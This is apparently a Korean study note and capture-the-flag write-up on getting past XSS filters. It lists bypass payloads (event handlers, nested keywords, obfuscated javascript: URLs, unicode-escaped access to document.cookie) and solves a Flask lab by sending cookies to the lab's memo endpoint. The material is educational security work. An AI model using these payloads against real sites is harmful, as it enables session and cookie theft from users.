=xss 필터링을 우회하는 법(근본적으로 태그 삽입 되지 않도록 원인 제거해야함!!!)
SGML을 바탕으로 창시한 HTML
SGML? 마크업 언어를 일반화했던 표준
HTML을 사용자가 편하게 작성하기 위함에 따라 문법이 복잡해지고, sw의 구조 또한 정교해짐
+브라우저 전쟁
-> 자신의 웹 브라우저가 해석할 수 있는 HTML에 규율 없이 태그 늘려가기
-> 표준화 정립 전까지 쌓여온 기능들이 현재에는 안쓰게 됨
-> HTML 해석하는 sw작성 어려워짐+ XSS 필터링도 마찬가지
따라서, XSS 필터링은 안전하다고 알려진 마크업만 허용해야함(Allowlist 필터링)
일부 문자열만을 필터링하면 FP, FN이 발생해 필터링 자체가 이루어지 않을 수 있어 취약점 발생 가능성 있음
script 태그
이벤트 핸들러 on: 특정 요소에서 발생하는 이벤트 처리하기 위해 존재, 콜백 형태의 핸들러 함수
onerror, onload, onfocus
<img src="~~" onload="alert(document.cookie)">
<!--~~링크를 가진 이미지 로드 성공시 onload 핸들러 실행 -> 쿠키를 알림창으로 보여주게 됨-->
<!--이미지 로드 실패시 onload 핸들러 실행 x>-->
<img src="`~" onerror="alert(document.cookie)">
<!--~링크 가진 이미지 로드 성공시 실행 x
~링크 가진 이미지 로드 실패시 onerror 핸들러 실행=>쿠키를 알림창으로 보여주게 됨-->
<input type="text" id="inputID" onfocus="alert(document.cookie)" autofocus>
<!--input 태그: 사용자의 데이터를 받을 수 있는 대화용 컨트롤 생성
autofocus로 인해 페이지가 로드가 되지마자 바로 input 태그에 포커스, 포거스 된 직후 onfocus 핸들러 실행됨-->
<!--방법1. input 태그의 autofocus 속성 이용해 자동 포커스 시키기
방법2. url의 hash 부분에 input 태그의 id 속성값 입력-->
단순 구문 제거-> 필터링 되는 키워드 사이에 키워드 넣기
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
대안방안: 문자열에 변화 없을 때까지 지속적으로 치환하기
function replaceIterate(text) {
while (true) {
var newText = text
.replace(/script|onerror/gi, '');
if (newText === text) break;
text = newText;
}
return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,<svg>" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,<svg>" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="<sonerrorcript>parent.alescronerroriptrt(1)</scrionerrorpt>" />')
--> <iframe srcdoc="<>parent.alert(1)</>" />
HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠 포함 가능
1. javascript: 스키마 -> URL 로드시 자바스크립트 코드 실행 가능
a태그나 iframe 태그에 사용 가능 (이 태그들은 url을 속성값으로 받기 때문)
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">
그래서 javascript:스키마 사용치 못하게 필터링 해야함
2. 정규화를 이용해 우회 가능
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
<iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
url 객체를 통해 url 직접 정규화
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"
protocol, hostname 등 url의 정보 추출 가능
<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />
x => !/<script[^>]*>[^<]/i.test(x)
script src 속성 이용한 우회
<script src="data:,alert(document.cookie)"></script>
태그 검사 코드
x => !/<script|<img|<input/i.test(x)
우회
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>
태그 검사 코드+on 이벤트 핸들러 검사+멀티 라인 지원 문자 검사
x => !/<script|<img|<input|<.*on/is.test(x)
새로운 inner frame 생성하는 iframe 태그 이용해 우회 가능
src 속성: url을 인자로 받음-> 활성 하이퍼링크 이용해 자바 스크립트 코드 삽입 가능
srcdoc 속성: iframe 요소에 보일 웹페이지의 HTML 코드 명시
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
문자열에서 유니코드 문자를 코드 포인트로 나타낼 수 있는 표기법
var foo = "\u0063ookie"; // cookie
// "c"="\u0063"
var bar = "cooki\x65"; // cookie
// "e"="\x65"
\u0061lert(document.cookie); // alert(document.cookie)
객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능
document["coo"+"kie"] == document["cookie"] == document.cookie
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수:
window['al'+'ert'], window['XMLHtt'+'pRequest'] 등
window: self, this
eval(code): Function(code)()
Function: isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
xss_filter에서는 "script", "on", "javascript"를 필터링하고, 소문자로 바꾼다.
이전에 xss문제들과 비슷해서 설명은 생략!
filtering을 피해갈 수 있는 방법은 정말 많겠지만 문자를 겹쳐써주면
<sscriptcript>new Image().src = "http://127.0.0.1:8000/memo?memo=" + document.cookie;</scriscriptpt>

성공
글고 더 해보고 싶어서 어떤 것들이 되는지 해보았다.
<sscriptcript>window.open("http://127.0.0.1:8000/memo?memo=" + document.cookie)</scriscriptpt>
<img src="" oonnerror="locatioonn.href='http://127.0.0.1:8000/memo?memo='+document.cookie">
<svg oonnload="locatioonn.href='http://127.0.0.1:8000/memo?memo='+document.cookie">
마지막으로 주인을 잘못 만난 내 노트북 키보드와 함께...ㅠ
